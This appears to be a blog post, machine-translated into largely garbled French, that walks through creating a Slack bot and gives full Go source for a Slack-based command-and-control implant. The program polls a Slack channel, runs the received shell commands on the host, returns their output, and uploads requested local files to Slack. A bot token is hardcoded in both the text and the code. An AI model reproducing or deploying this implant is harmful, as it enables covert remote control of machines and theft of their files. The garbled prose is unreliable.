Récemment inscrit à l'école golang, beau démon analytique golang slack c2, autoportrait auto-conçu.
Remarque: Non. Question https://api.slack.com/ Point 击 Commencer la construction
Application en une seule pièce
Côté gauche ʻOAuth & Permissions-> Qualification du jeton de placement
Scopes`, 暂 placement de destination temporelle deux, ré-ajouté.
Après cela, le tournant «Installer l'application sur l'espace de travail»
Point allow, l'interface de jeton autonome et le jeton individuel.
xoxb-1413293450689-1403506559507-aWLcahb6cGLZWGHF61QPV17S
Canal monobloc
Contact du canal résidentiel https: // app.slack.com / client / T01C58MD8L9 / C01BS6GEUJH
Moyen C01BS6GEUJH
Passer le bot Grip / invite @ myslackbot
Kato Kadori.
Après cela, https: // api.slack.com / methods
opération api de possession de type bot, préexistant https: // api.slack.com / methods / conversations.history / test
ID de canal de somme de bons jetons de l'emplacement
Test ponctuel
Un flux simple, une bourse, une suite de la suite, une suite de la suite, une suite de la suite et une suite de la suite.
package main
import (
"bytes"
"fmt"
"github.com/tidwall/gjson"
"io"
"io/ioutil"
"log"
"mime/multipart"
"net/http"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"time"
)
const (
HistoryApi = "https://slack.com/api/conversations.history"
PostMessage = "https://slack.com/api/chat.postMessage"
FileUpload = "https://slack.com/api/files.upload"
Token = "xoxb-1413293450689-1403506559507-aWLcahb6cGLZWGHF61QPV17S"
Channel = "C01BS6GEUJH"
)
var Timer = 10
func sleep() {
fmt.Sprintf("sleep %s",Timer)
time.Sleep(time.Duration(Timer) * time.Second)
}
func main() {
for true {
result := ApiGet(HistoryApi, "messages.0.text")
if strings.HasPrefix(result.Str, "shell") {
cmdRes := ExecCommand(strings.Split(result.Str, " ")[1:])
ApiPost(cmdRes, PostMessage)
} else if strings.HasPrefix(result.Str, "exit") {
os.Exit(0)
} else if strings.HasPrefix(result.Str, "sleep") {
s := strings.Split(result.Str, " ")[1]
atoi, err := strconv.Atoi(s)
if err != nil {
ApiPost(err.Error(), PostMessage)
}
Timer = atoi
} else if strings.HasPrefix(result.Str, "download") {
filename := strings.Split(result.Str, " ")[1]
ApiUpload(filename)
} else {
fmt.Println("no command")
}
sleep()
}
}
func ExecCommand(command []string) (out string) {
fmt.Println(command)
cmd := exec.Command(command[0], command[1:]...)
o, err := cmd.CombinedOutput()
if err != nil {
out = fmt.Sprintf("shell run error: \n%s\n", err)
} else {
out = fmt.Sprintf("combined out:\n%s\n", string(o))
}
return
}
func ApiGet(apiUrl string, rule string) gjson.Result {
r, err := http.NewRequest("GET", apiUrl, nil)
query := r.URL.Query()
query.Add("token", Token)
query.Add("channel", Channel)
query.Add("pretty", "1")
query.Add("limit", "1")
r.URL.RawQuery = query.Encode()
response, err := http.DefaultClient.Do(r)
defer response.Body.Close()
if err != nil {
return gjson.Result{}
}
bytes, _ := ioutil.ReadAll(response.Body)
//fmt.Println(string(bytes))
return gjson.GetBytes(bytes, rule)
}
func ApiPost(text string, apiUrl string) {
var r http.Request
r.ParseForm()
r.Form.Add("token", Token)
r.Form.Add("channel", Channel)
r.Form.Add("pretty", "1")
r.Form.Add("text", text)
r.Form.Add("mrkdwn", "false")
body := strings.NewReader(r.Form.Encode())
response, err := http.Post(apiUrl, "application/x-www-form-urlencoded", body)
if err != nil {
return
}
bytes, _ := ioutil.ReadAll(response.Body)
ok := gjson.GetBytes(bytes, "ok")
fmt.Println(ok)
}
func ApiUpload(filename string) {
//fmt.Println(filename)
//创 Tableau KEN phrase unique
//CreateFormFile table, 1er nombre individuel de caractères, 2ème nombre individuel de caractères, sujet
buf := new(bytes.Buffer)
writer := multipart.NewWriter(buf)
writer.WriteField("token", Token)
writer.WriteField("pretty", "1")
writer.WriteField("channels", Channel)
//writer.WriteField("filetype", "text")
formFile, err := writer.CreateFormFile("file", filepath.Base(filename))
if err != nil {
log.Fatalf("Create form file failed: %s\n", err)
}
//Nombre de collections, table de copie
srcFile, err := os.Open(filename)
if err != nil {
log.Fatalf("%Open source file failed: s\n", err)
}
defer srcFile.Close()
_, err = io.Copy(formFile, srcFile)
if err != nil {
log.Fatalf("Write to form file falied: %s\n", err)
}
//Table d'envoi
contentType := writer.FormDataContentType()
writer.Close() //Fermer pour l'ajustement indispensable()Ligne suivante
_, err = http.Post(FileUpload, contentType, buf)
if err != nil {
log.Fatalf("Post failed: %s\n", err)
}
//all, err := ioutil.ReadAll(resp.Body)
//fmt.Println(string(all))
}
Effet négatif
https://www.bilibili.com/video/BV1uk4y1C7oP/
API d'autonomie, de relâchement et de type relâché.
Recommended Posts